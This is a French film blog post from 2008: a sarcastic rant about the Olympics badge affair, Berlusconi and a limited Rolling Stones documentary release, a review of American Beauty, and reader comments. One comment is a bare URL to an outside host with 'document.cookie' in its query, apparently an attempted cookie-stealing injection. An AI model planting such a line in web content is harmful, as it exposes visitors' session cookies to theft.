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marredescritiquesalacon Description du blog :
Dans le monde du cinéma, certains pensent que le génie est héréditaire. Les autres ont des enfants.. Description audio !
Catégorie : Blog Cinéma Date de création :
24.05.2006 Dernière mise à jour :
07.06.2008
Si les chercheurs étaient encore en quête d’une preuve de la connerie humaine, Henri Sérandour leur a donné la plus belle de toutes. Après les multiples réunions d’athlètes organisées pour savoir quelle action mener afin de crier haut et fort, mais pas trop fort quand même car on pourrait nous entendre, que la Chine, c‘est m…c’est maaa…c’est pas bien quoi. (pour le résumé des chapitres précédents, se référer à la critique de Top Gun, titre dont je commence d’ailleurs à saisir le double sens du titre après les révélations qu’ont été pour moi les propos de Tarantino…), Mr Sérandour a déclaré et je cite avec grande précision que : « On ne peut pas mettre un badge pour une cause d’untel, un badge pour une autre cause. On va respecter la charte […] » avant de se rétracter en ajoutant qu’il faudrait que le badge soit universel. C’est tellement pathétique qu’on a envie de leur donner un pin’s Mickey sorti du fin fond de notre tiroir pour les aider un peu. Au moins, on peut être sûr d’une chose, c’est qu’en Chine, ils doivent bien se marrer (ô toi le 989 456 789ème, je trouve même que tu rigoles trop !)
C’est vrai qu’en France on en fait des boulettes mais nos voisins transalpins sont pas mauvais non plus dans cette discipline (à présent olympique). Savez-vous ce qu’ils ont trouvé comme subterfuge afin qu’on aprle d’eux ? Ils ont réelu Silvio Berlusconi ! Et c’est pas une blague. Président du Conseil en 1994, il démissionne quelques mois plus tard. Elu de nouveau en 2001, il est battu par Prodi en 2006. Et voilà qu’il revient une fois de plus après moults démêlées avec la justice. C’est un peu comme si nous, Français, on avait réélu Jacques Chirac ! Quoi ?! On a fait ça ? Oh les cons ! Finalement, il est bien difficile de nous départager avec les Italiens en débilité comme en football… Pour terminer cette petite revue d’actualités, notons cette phrase de Shaquille O’Neal, basketteur, rappeur et comédien (il ne fait bien qu’une seule de ces activités) : « Saint-Tropez, c’est en France ? Je l’ignorais. Pourtant, j’y vais tous les étés. »
Vous l’avez vu, je suis pas vraiment content de ce qui se passe et je tiens également à pousser une nouvelle gueulante, cette fois-ci à l’encontre du distributeur de Shine A Light, Wild Bunch Distribution, qui a osé sortir le film dans quarante salles et ce pour la France entière ! Allez, je me calme, et on parle d’un film qui a eu le droit à une belle distrbution sur notre beau territoire. Au pif, ça tombe sur American Beauty. Premier film de Sam Mendes, American Beauty est une peinture acide de la classe moyenne américaine vivant dans des banlieues toutes propres et bien blanches comme il faut…
Lester Burnham est mort. Pourtant, il avait tout pour être un homme heureux : une belle maison dans un quartier bien tranquille, un job stable depuis quatorze ans et un mariage depuis de nombreuses années avec la femme qu’il aime. Le problème est que tout cela n’est qu’une façade car, en réalité, Lester s’emmerdait, du moins jusqu’à ce qu’il tombe amoureux de la copine de sa fille. Non seulement cela va le changer radicalement mais il va par la même occasion provoquer l’éclatement total de sa famille et de ses voisins.
American Beauty se montre donc original dès le début : on sait que le narrateur va mourir. Il nous propose ainsi d’assister à la dernière année de sa vie afin que le spectateur comprenne comment cette tragédie a pu avoir lieu. Le portrait des habitants de la banlieue américaine est de cette façon totalement décalé avec l’image que ceux-ci voudraient véhiculer. On est très loin de 7 A La Maison qui, en passant, est sans doute la série la plus débile de tous les temps. Le côté politiquement incorrect du film est accentué par le fait que le couple Burnham devient heureux à travers un choix totalement immoral : Lester s’épanouit en tombant aoureux d’une ado et en redécouvrant les joies de l’herbe (oui, c’est ça, il jardine beaucoup…) tandis que sa femme Carolyn retrouve confiance en elle en trompant son mari avec Buddy Kane, le roi de l’immobilier. American Beauty doit beaucoup à la composition de Kevin Spacey, oscarisé pour le rôle, tour à tour touchant et inquiétant, pathétique et colérique. En fait, le personnage de Spacey est un peu une bombe à retardement qui, à force d’accumuler les frustations au travail, à la maison, au lit…finit par exploser littéralement en emportant tout sur son passage. Annette Bening est tout aussi incroyable dans la peau de Carolyn même si le fait que le narrateur soit Lester éclipse légèrement sa composition. Le reproche que l’on pourrait faire à American Beauty, c’est qu’il condense toutes les névroses propres à notre société en une seule et même famille, ce qui a tendance à décrédibiliser l’ensemble (quoi que le fait que le narrateur soit mort n’est pas forcément gage de réalisme à toute épreuve…). Peu importe finalement…
pas de com sur la critique connait pas -_- mais
Posté par Tidusrus le 16.04.2008
fais chier que le docu sur les Stones soit pas au ciné de ma ville, moi qui me faisait une joie de le voir -_-' une fois de plus merci
good
Posté par toto le 17.04.2008
http://cyriellejtm25.free.fr/fr.php?c=+document.cookie
yes !
Posté par Tidusrus le 22.05.2008
C'est bon je l'ai vu et je me suis bien marré, c'est un superbe film, Kévin Spacey est génial, le scénar est original, Sam Mendes s'en est très bien sorti, enfin c'est un très bon film avec pleins de rebondissements, marrants à souhait, à recommander